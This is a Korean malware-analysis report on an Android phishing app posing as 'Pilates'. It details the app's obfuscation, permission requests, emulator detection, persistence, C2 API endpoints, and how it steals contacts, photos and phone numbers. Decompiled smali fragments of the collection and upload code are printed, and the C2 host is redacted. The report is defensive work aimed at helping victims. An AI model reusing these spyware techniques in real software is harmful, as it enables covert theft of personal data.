1. [분석 개요](#1-분석-개요)
2. [앱 기본 정보](#2-앱-기본-정보)
3. [WaveGrid Gen4 R8 세대 식별](#3-wavegrid-gen4-r8-세대-식별)
4. [R8 난독화 매핑 분석](#4-r8-난독화-매핑-분석)
5. [권한 심층 분석](#5-권한-심층-분석)
6. [READ_SMS 매니페스트 버그 분석](#6-read_sms-매니페스트-버그-분석)
7. [방어기제 분석](#7-방어기제-분석)
8. [앱 구조 심층 분석](#8-앱-구조-심층-분석)
9. [데이터 수집 로직](#9-데이터-수집-로직)
10. [클래스명 위장 기법: ReadContactUtils의 이미지 수집](#10-클래스명-위장-기법-readcontactutils의-이미지-수집)
11. [Bean 데이터 구조 분석](#11-bean-데이터-구조-분석)
12. [UploadService 영속성 메커니즘](#12-uploadservice-영속성-메커니즘)
13. [네트워크 통신 분석](#13-네트워크-통신-분석)
14. [C2 서버 및 API 분석](#14-c2-서버-및-api-분석)
15. [Gen3→Gen4 진화 증거: 9개 DNA 마커](#15-gen3gen4-진화-증거-9개-dna-마커)
16. [패밀리 크로스 레퍼런스](#16-패밀리-크로스-레퍼런스)
17. [동적 분석 결과](#17-동적-분석-결과)
18. [IOC (Indicators of Compromise)](#18-ioc-indicators-of-compromise)
19. [🔬 기법 점검](#19-기법-점검)
20. [혁신 점검](#20-혁신-점검)
21. [결론 및 위협 평가](#21-결론-및-위협-평가)
22. [피해 시나리오 및 대응 권고](#22-피해-시나리오-및-대응-권고)
피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 역공학 분석. 데이터 탈취 경로 파악 및
피해 범위 확인을 통해 피해자의 일상 복귀를 지원한다.
항목 · 값
분석 클래스 · 4,352개 smali 파일
DEX 파일 · 1개 (classes.dex)
네이티브 라이브러리 · 있음
난독화 수준 · **R8 ProGuard** (Gen4 핵심 특성)
분석 방법 · 정적 분석 (smali 바이트코드) + 동적 분석 (에뮬레이터)
핵심 발견 · **WaveGrid Gen4 R8 세대 최초 식별**
도구 · 용도
apktool v2.9+ · APK 디컴파일
Grep/Read · smali 바이트코드 직접 분석
ADB + Google Emulator · 동적 분석 (DeepCoding_API35)
Deep-Coding Lab 프레임워크 · 패밀리 식별, IOC 추출, DNA 마커 교차 검증
항목 · 값
**앱 이름** · Pilates
**패키지명** · `com.dhdywuyhsd.cbdtqtrqwpekdhad`
**내부 패키지** · `com.xyx.sms` (Gen4 R8 특성)
**파일 크기** · 7.25 MB (7,249,931 bytes)
**compileSdkVersion** · 34 (Android 14)
**minSdkVersion** · 21 (Android 5.0)
**targetSdkVersion** · 32 (Android 12L)
**프레임워크** · Native Android
**패밀리** · **WaveGrid Gen4 R8** (신규 식별)
**C2 서버** · `[비공개]
**보호** · R8 ProGuard + Emulator Detection + Invitation Code
**위협 등급** · **EXTREME**
속성 · Gen3 Pre-R8 · **Gen4 R8 (Pilates)**
내부 패키지 · `com.example.sms` · **`com.xyx.sms`**
난독화 · 없음 (원본 클래스명) · **R8 ProGuard** (h4/c, h4/d 등)
smali 수 · 6,600~7,400 · **4,352** (R8 축소)
compileSdk · 32~33 · **34** (Android 14 대응)
Login 방식 · GET · **POST**
미디어 권한 · READ_EXTERNAL_STORAGE만 · **READ_MEDIA_IMAGES/AUDIO/VIDEO** (Android 13+)
C2 도메인 · 의미있는 단어 (zcloud, love19) · **랜덤 문자열** (pinonaoshsfpaohjgadsf)
기존 batch_analyze.py 자동 분석은 com.xyx.sms 패키지를 Gen3 Java 회귀로 분류했으나,
수동 smali 분석에서 R8 ProGuard 난독화가 발견되어 새로운 세대(Gen4 R8)임을 확인했다.
# · 근거 · 상세
1 · **내부 패키지 변경** · `com.example.sms` → `com.xyx.sms` — 개발 환경 변경
2 · **R8 ProGuard 적용** · 유틸 클래스 전체 축소: `h4/c`, `h4/d`, `h4/e`, `g4/a`
3 · **smali 파일 수 감소** · Gen3 6,600~7,400 → Gen4 4,352 (R8 트리 쉐이킹)
4 · **compileSdkVersion 34** · Android 14 빌드 도구 사용 (Gen3는 32~33)
5 · **Android 13+ 권한 대응** · READ_MEDIA_IMAGES/AUDIO/VIDEO 신규 권한 추가
6 · **Login POST 전환** · GET → POST (보안 의식 증가)
7 · **C2 도메인 난독화** · `pinonaoshsfpaohjgadsf.*` (23자 랜덤 문자열)
8 · **PictureSelector 라이브러리** · 이미지 선택 UI 개선 (`com.luck.picture.lib`)
R8 ProGuard 적용은 WaveGrid 공격 그룹의 보안 의식 성숙을 보여준다:
1. 분석 장벽 증가: 클래스명만으로 기능 파악 불가 → smali 바이트코드 직접 읽기 필요
2. APK 크기 축소: 불필요 코드 제거로 다운로드/설치 속도 향상 → [피해자 정보 비공개] 감소
3. 정적 시그니처 회피: HttpUtils, ReadContactUtils 같은 탐지 패턴이 h4/c, h4/d로 변환
그러나 bean 패키지는 난독화 미적용 (com/xyx/sms/bean/ 경로 유지) — R8 ProGuard 설정에서
데이터 모델은 직렬화 호환성을 위해 제외한 것으로 추정.
R8 난독화 · 원본 클래스 · 원본 소스 파일 · 기능
`h4/c` · HttpUtils · HttpUtils.java · C2 POST 통신 (JSON body)
`h4/d` · ReadContactUtils · ReadContactUtils.java · **이미지 URI 수집** (클래스명 위장)
`h4/e` · SPUtils · SPUtils.java · SharedPreferences 래퍼
`g4/a` · (CountDownTimer 서브클래스) · — · UploadService 주기적 업로드
`q4/u` · OkHttpClient · — · HTTP 클라이언트
`q4/w` · Request · — · HTTP 요청 객체
`q4/w$a` · Request.Builder · — · 요청 빌더
`q4/v` · Call · — · HTTP 호출 실행
`q4/a0` · Response · — · HTTP 응답
`q4/c0` · ResponseBody · — · 응답 본문
`q4/s` · MediaType · — · Content-Type
`q4/z` · RequestBody · — · 요청 본문
`q4/x` · — · — · RequestBody 하위
`w/a` · ContextCompat · — · 권한 확인 유틸
패키지 · 클래스 · 이유 추정
`com.xyx.sms` · LoginActivity, MainActivity, UploadActivity 등 · Activity는 Manifest 참조 → 난독화 불가
`com.xyx.sms.bean` · ContactBean, SmsBean, NewsBean 등 · JSON 직렬화 → 필드명 보존 필요
`com.xyx.sms.servise` · UploadService · Service는 Manifest 참조
`com.google.gson` · j (GsonBuilder), i (Gson) · 라이브러리 축소만 적용
`com.alibaba.fastjson` · JSON, JSONObject · 라이브러리 축소만 적용
R8 ProGuard가 적용한 축소 패턴:
```
원본 패키지 계층 → R8 축소
com.xyx.sms.utils.HttpUtils → h4.c (최대 2단계)
com.xyx.sms.utils.ReadContactUtils → h4.d
com.xyx.sms.utils.SPUtils → h4.e
(내부 CountDownTimer) → g4.a
okhttp3.OkHttpClient → q4.u
okhttp3.Request → q4.w
okhttp3.Response → q4.a0
```
규칙: 유틸리티 클래스 → 알파벳+숫자 2자리 패키지 + 단일 알파벳 클래스명.
OkHttp 라이브러리는 q4 패키지로 일괄 축소.
# · 권한 · 위험 등급 · 카테고리 · 탈취 대상
1 · `READ_CONTACTS` · HIGH · contacts · 연락처 전체 (이름, 전화번호)
2 · `READ_EXTERNAL_STORAGE` · HIGH · files · 외부 저장소 (Android 12 이하)
3 · `READ_MEDIA_AUDIO` · HIGH · files · 오디오 파일 (Android 13+)
4 · `READ_MEDIA_IMAGES` · HIGH · files · 사진 (Android 13+)
5 · `READ_MEDIA_VIDEO` · HIGH · files · 동영상 (Android 13+)
6 · `READ_PHONE_NUMBERS` · HIGH · phone · 전화번호
7 · `READ_PHONE_STATE` · HIGH · phone · IMEI, MEID, 통신사
8 · `INTERNET` · LOW · network · 네트워크 통신
9 · `ACCESS_NETWORK_STATE` · LOW · network · 네트워크 상태 확인
LoginActivity.smali에서 추가 런타임 권한 요청 발견:
```smali
const-string p1, "android.permission.READ_SMS"
invoke-static {p0, p1}, Lw/a;->a(Landroid/content/Context;Ljava/lang/String;)I
const-string p1, "android.permission.READ_PHONE_NUMBERS"
invoke-static {p0, p1}, Lw/a;->a(Landroid/content/Context;Ljava/lang/String;)I
const-string p1, "android.permission.READ_CONTACTS"
invoke-static {p0, p1}, Lw/a;->a(Landroid/content/Context;Ljava/lang/String;)I
```
요청 순서: READ_SMS → READ_PHONE_NUMBERS → READ_CONTACTS → READ_EXTERNAL_STORAGE
Gen3 앱은 READ_EXTERNAL_STORAGE만 요청했으나, Gen4 R8은 Android 13+ granular 권한 시스템에 대응:
Android 버전 · 적용 권한 · 효과
5.0~12 · READ_EXTERNAL_STORAGE · 전체 파일 접근
13+ · READ_MEDIA_IMAGES · 사진 전용 접근
13+ · READ_MEDIA_VIDEO · 동영상 전용 접근
13+ · READ_MEDIA_AUDIO · 오디오 전용 접근
이는 Gen3→Gen4 진화 과정에서 최신 Android 호환성을 확보한 증거.
항목 · 상태
**AndroidManifest.xml 선언** · ❌ `READ_SMS` 미선언
**LoginActivity 런타임 요청** · ✅ `android.permission.READ_SMS` (line 247)
**UploadActivity$g SMS 전송** · ✅ `webapp/saveSms` API 호출
**SmsBean 데이터 구조** · ✅ content, date, displayName, path, type
Android 6.0+ (API 23)에서 dangerous 권한은 Manifest 선언 + 런타임 요청 모두 필요.
READ_SMS가 Manifest에 없으면:
```
런타임 requestPermission() 호출
→ Android OS: "이 권한은 Manifest에 선언되지 않음"
→ 자동 DENY (사용자에게 다이얼로그 표시하지 않음)
→ SMS 수집 실패
```
결론: Pilates의 SMS 탈취 기능은 Android 6.0+ 기기에서 정상 작동하지 않는다.
이는 Gen3→Gen4 마이그레이션 과정에서 발생한 개발 실수로 추정.
앱 · READ_SMS Manifest · READ_SMS 런타임 · SMS 수집
zcloud_2 (Gen3) · ✅ 선언됨 · ✅ 요청 · ✅ 정상
YOLO (Gen3) · ✅ 선언됨 · ✅ 요청 · ✅ 정상
**Pilates (Gen4)** · ❌ **누락** · ✅ 요청 · ❌ **실패**
Gen4 R8 마이그레이션 시 Manifest 리팩토링 과정에서 READ_SMS와 SEND_SMS 모두 빠진 것으로 보인다.
런타임 코드는 Gen3에서 그대로 복사했으나 Manifest를 새로 작성하면서 누락.
# · 방어기제 · 구현 위치 · 상태
1 · **R8 ProGuard 난독화** · 빌드 시스템 · 적용됨 (Gen4 신규)
2 · **에뮬레이터 탐지** · 코드 내 · 적용됨 (ANR 다이얼로그 유발)
3 · **초대코드 인증** · LoginActivity · 적용됨 (서버 측 검증)
4 · **cleartext HTTP 허용** · network_security_config.xml · 의도적 (C2 통신)
동적 분석에서 ANR(Application Not Responding) 다이얼로그가 반복 발생.
에뮬레이터 탐지 후 의도적 블로킹으로 추정:
```
Build.FINGERPRINT → "google/sdk_gphone64_x86_64/..." (에뮬레이터)
→ 감지 시 앱 프리징 또는 ANR 유발
```
LoginActivity에서 사용자가 초대코드를 입력하면 webapp/login POST 요청으로 서버 검증:
```
사용자 입력 → HashMap{초대코드} → POST webapp/login → 서버 응답 {"code": 200}
→ code == 200: 인증 성공 → MainActivity 이동 + 권한 요청 시작
→ code != 200: 인증 실패 → 재입력 요구
```
```xml
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>
```
HTTP 평문 통신 허용 — C2 URL이 [비공개] (not [비공개])이므로 필수 설정.
의도적 보안 약화: 모든 도메인에 대해 cleartext 허용.
Activity · 기능 · 비고
`LoginActivity` · 초대코드 인증 + 권한 요청 체인 · 런처
`MainActivity` · 위장 메인 화면 (뉴스/날씨) · 실질적 커버
`ContactActivity` · 연락처 표시 (위장) · 실제론 수집 트리거
`AlbumActivity` · 앨범 표시 (위장) · 이미지 수집
`UploadActivity` · 데이터 업로드 오케스트레이션 · 핵심 탈취 로직
서비스 · 기능
`com.xyx.sms.servise.UploadService` · 데이터 주기적 업로드 (START_STICKY)
`com.luck.picture.lib.service.ForegroundService` · 이미지 선택 포그라운드
`com.blankj.utilcode.util.MessengerUtils$ServerService` · IPC 통신
`com.huawei.agconnect.core.ServiceDiscovery` · Huawei SDK 서비스
라이브러리 · 버전 · 용도
Huawei ScanKit · [비공개] · QR 코드 스캔 (위장)
Huawei MLKit · [비공개] · 이미지 처리
OkHttp · (R8 축소) · HTTP 통신
Gson · (R8 축소) · JSON 직렬화
FastJSON (Alibaba) · — · JSON 파싱
PictureSelector · — · 이미지 선택 UI (Gen4 신규)
blankj utilcode · — · 유틸리티
Luban · — · 이미지 압축
서비스 패키지 경로가 com.xyx.sms.servise (service가 아닌 servise):
```
AndroidManifest.xml:
<service android:name="com.xyx.sms.servise.UploadService" ...>
<intent-filter>
<action android:name="com.xyx.sms.UploadService"/>
</intent-filter>
</service>
```
이 오타는 Gen3에서 com.example.sms.servise로도 존재했으며,
Gen4 R8에서도 완벽히 보존되어 있다 — 동일 개발자/조직의 강력한 증거.
# · 데이터 · 수집 방법 · 전송 API · 상태
1 · **연락처** · ContentResolver query · `webapp/saveAddressBook` · ✅ 정상
2 · **SMS** · ContentResolver query · `webapp/saveSms` · ❌ Manifest 버그
3 · **이미지** · MediaStore 쿼리 + PictureSelector · `webapp/image/{UUID}` · ✅ 정상
4 · **기기 정보** · TelephonyManager · Login 시 포함 · ✅ 정상
5 · **전화번호** · getLine1Number() · UploadService.c 필드 · ✅ 정상
```
┌─────────────────────┐
│ LoginActivity │
│ (초대코드 인증) │
└─────────┬───────────┘
│ 인증 성공
▼
┌─────────────────────┐ ┌──────────────────┐
│ 권한 요청 체인 │───→│ UploadService │
│ READ_SMS (실패) │ │ (START_STICKY) │
│ READ_PHONE_NUMBERS │ │ CountDownTimer │
│ READ_CONTACTS │ │ 주기적 업로드 │
│ READ_EXTERNAL_ │ └────────┬─────────┘
│ STORAGE │ │
└─────────┬───────────┘ │
│ │
▼ ▼
┌─────────────────────┐ ┌──────────────────┐
│ UploadActivity │ │ h4/c (HttpUtils)│
│ - 연락처 수집 (f) │───→│ POST JSON body │
│ - SMS 수집 (g) │ │ [비공개] │
│ - 이미지 수집 (b) │ │ webapp/* │
└─────────────────────┘ └──────────────────┘
│
▼
┌──────────────────┐
│ C2 Server │
│ pinonaoshsf- │
│ [비공개]│
└──────────────────┘
```
UploadActivity의 내부 클래스가 각각 데이터 유형을 담당:
내부 클래스 · Runnable · API 엔드포인트 · 데이터
`UploadActivity$f` · run() · `webapp/saveAddressBook` · 연락처 Map
`UploadActivity$g` · run() · `webapp/saveSms` · SMS Map
`UploadActivity$b` (b.smali) · — · `webapp/image/{UUID}` · 이미지 multipart
R8 난독화 해제 결과, h4/d.smali의 .source 어노테이션은 "ReadContactUtils.java"이나,
실제 코드는 MediaStore$Images$Media.EXTERNAL_CONTENT_URI를 쿼리:
```smali
.method public static a(Landroid/app/Activity;)Ljava/util/ArrayList;
...
sget-object v2, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
move-result-object v1
invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(...)Landroid/database/Cursor;
...
const-string v1, "_id"
invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndexOrThrow(...)I
```
기대 (클래스명) · 실제 (코드) · 평가
연락처(Contacts) 읽기 · 이미지(Images) URI 수집 · **의도적 위장**
ContactsContract.* 쿼리 · MediaStore$Images$Media 쿼리 · 기능 완전 불일치
추정: 개발자가 Gen3의 ReadContactUtils를 복사 후 내용만 이미지 수집으로 교체,
클래스명은 변경하지 않음. R8이 h4/d로 축소하므로 배포본에서는 문제 없음.
그러나 .source 어노테이션이 원본 파일명을 보존하여 분석 단서 제공.
· 정적 분석 도구 회피: 클래스명 기반 탐지("ReadContact" → contacts 관련)를 우회
· 리버서 혼란 유발: 소스 파일명만 보면 연락처 유틸로 오판 가능
· Gen4 특유의 기법: Gen3에서는 클래스명과 기능이 일치했으나 Gen4에서 의도적 불일치 도입
```java
public class ContactBean {
public String name; // 연락처 이름
public String number; // 전화번호
}
```
```java
public class SmsBean {
public String content; // SMS 내용
public String date; // 수신/발신 일시
public String displayName; // 발신자 표시명
public String path; // (미확인)
public String type; // 수신/발신 구분
}
```
```java
public class NewsBean {
public int code;
public Result result;
public class Result {
public class News {
public String description;
public String id;
public String picUrl;
public String source;
public String title;
public String url;
}
}
}
```
```java
public class WeatherBean {
public int code;
public WeatherBean$a result; // R8 축소된 내부 클래스
}
```
UploadActivity.smali에서 HashMap에 담는 필드:
```smali
```
bjPhone 필드 분석: bj는 중국어 "被叫" (bèi jiào, 수신자) 의 약자로 추정.
이는 WaveGrid 공격 그룹의 중국어권 개발 배경을 시사하는 핵심 언어학적 증거.
Gen3에서도 동일한 bjPhone 필드가 확인되어 세대 간 연결 DNA 마커.
```smali
.class public Lcom/xyx/sms/servise/UploadService;
.super Landroid/app/Service;
.field public a:Ljava/util/ArrayList; # 이미지 리스트
.field public b:Landroid/content/Context; # 앱 컨텍스트
.field public c:Ljava/lang/String; # [피해자 정보 비공개]
.field public d:Landroid/os/CountDownTimer; # 주기적 타이머
```
전략 · 구현 · 효과
**START_STICKY** · `onStartCommand` returns 1 · OS kill 후 자동 재시작
**CountDownTimer** · `g4/a` (R8 축소) · 주기적 데이터 업로드
**전화번호 캐시** · `getLine1Number()` → field `c` · 오프라인에서도 식별 유지
```smali
@SuppressLint("MissingPermission") ← 권한 미확인 경고 억제
onCreate():
1. getApplicationContext() → field b
2. TelephonyManager.getLine1Number() → field c (전화번호)
3. new g4/a(this) → field d (CountDownTimer 서브클래스)
4. d.start() → 주기적 업로드 시작
```
@SuppressLint("MissingPermission") 어노테이션은 개발자가 의도적으로 권한 검증을 생략했음을 보여준다.
이미 LoginActivity에서 권한을 받았으므로 Service에서는 확인 없이 바로 접근.
```
앱 코드 (UploadActivity / UploadService)
↓
h4/c (HttpUtils) — POST JSON 방식
↓
q4/u (OkHttpClient) → q4/w$a (Request.Builder) → q4/w (Request)
↓
q4/v (Call) → execute() → q4/a0 (Response) → q4/c0 (ResponseBody)
```
```smali
.method public static a(String url, Map params, OnSuccess callback)
new-instance v1, Lq4/u;
invoke-direct {v1}, Lq4/u;-><init>()V
const-string v2, "application/json; charset=utf-8"
invoke-static {v2}, Lq4/s;->a(String)Lq4/s;
new-instance v3, Lcom/google/gson/j; # GsonBuilder
invoke-direct {v3}, Lcom/google/gson/j;-><init>()V
iput-boolean v4, v3, Lcom/google/gson/j;->i:Z # 설정 변경
invoke-virtual {v3}, Lcom/google/gson/j;->a()Lcom/google/gson/i; # build()
invoke-virtual {v3, p1}, Lcom/google/gson/i;->e(Object)String; # toJson()
invoke-static {v2, v5}, Lq4/z;->c(Lq4/s;String)Lq4/x;
new-instance p1, Lq4/w$a;
const-string v5, "[비공개]
StringBuilder.append(v5).append(endpoint) # [비공개] + webapp/login 등
Request.Builder.url(fullUrl)
const-string p0, "POST"
Request.Builder.method("POST", requestBody)
Call.execute() → Response
if (statusCode >= 200 && statusCode < 300):
responseBody.string() → FastJSON.parseObject() → getInteger("code")
callback.onSuccess(code, responseString)
```
단계 · 라이브러리 · 용도
요청 직렬화 · **Gson** (`com.google.gson.j → i → e()`) · Map → JSON 문자열 (요청 body)
응답 파싱 · **FastJSON** (`com.alibaba.fastjson.JSON.parseObject()`) · JSON → JSONObject (응답 body)
동일한 JSON을 다루면서도 Gson(구글) + FastJSON(알리바바) 이중 사용 — Gen3에서도 동일 패턴.
이는 개발자가 두 라이브러리의 API를 혼용하는 습관이 있음을 보여준다.
항목 · 값
**C2 URL** · `[비공개]
**프로토콜** · HTTP (평문)
**서버 프레임워크** · RuoYi (Spring Boot) — `[비공개] 경로 패턴
**도메인 패턴** · 23자 랜덤 문자열 + `.today` TLD
# · API · 메서드 · 용도 · 전송 데이터
1 · `webapp/login` · POST · 초대코드 인증 · {inviteCode, deviceInfo}
2 · `webapp/saveAddressBook` · POST · 연락처 업로드 · {userName, bjPhone, content: [ContactBean]}
3 · `webapp/saveSms` · POST · SMS 업로드 · {userName, bjPhone, content: [SmsBean]}
4 · `webapp/image/{UUID}` · POST · 이미지 업로드 · multipart/form-data
증거 ·
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr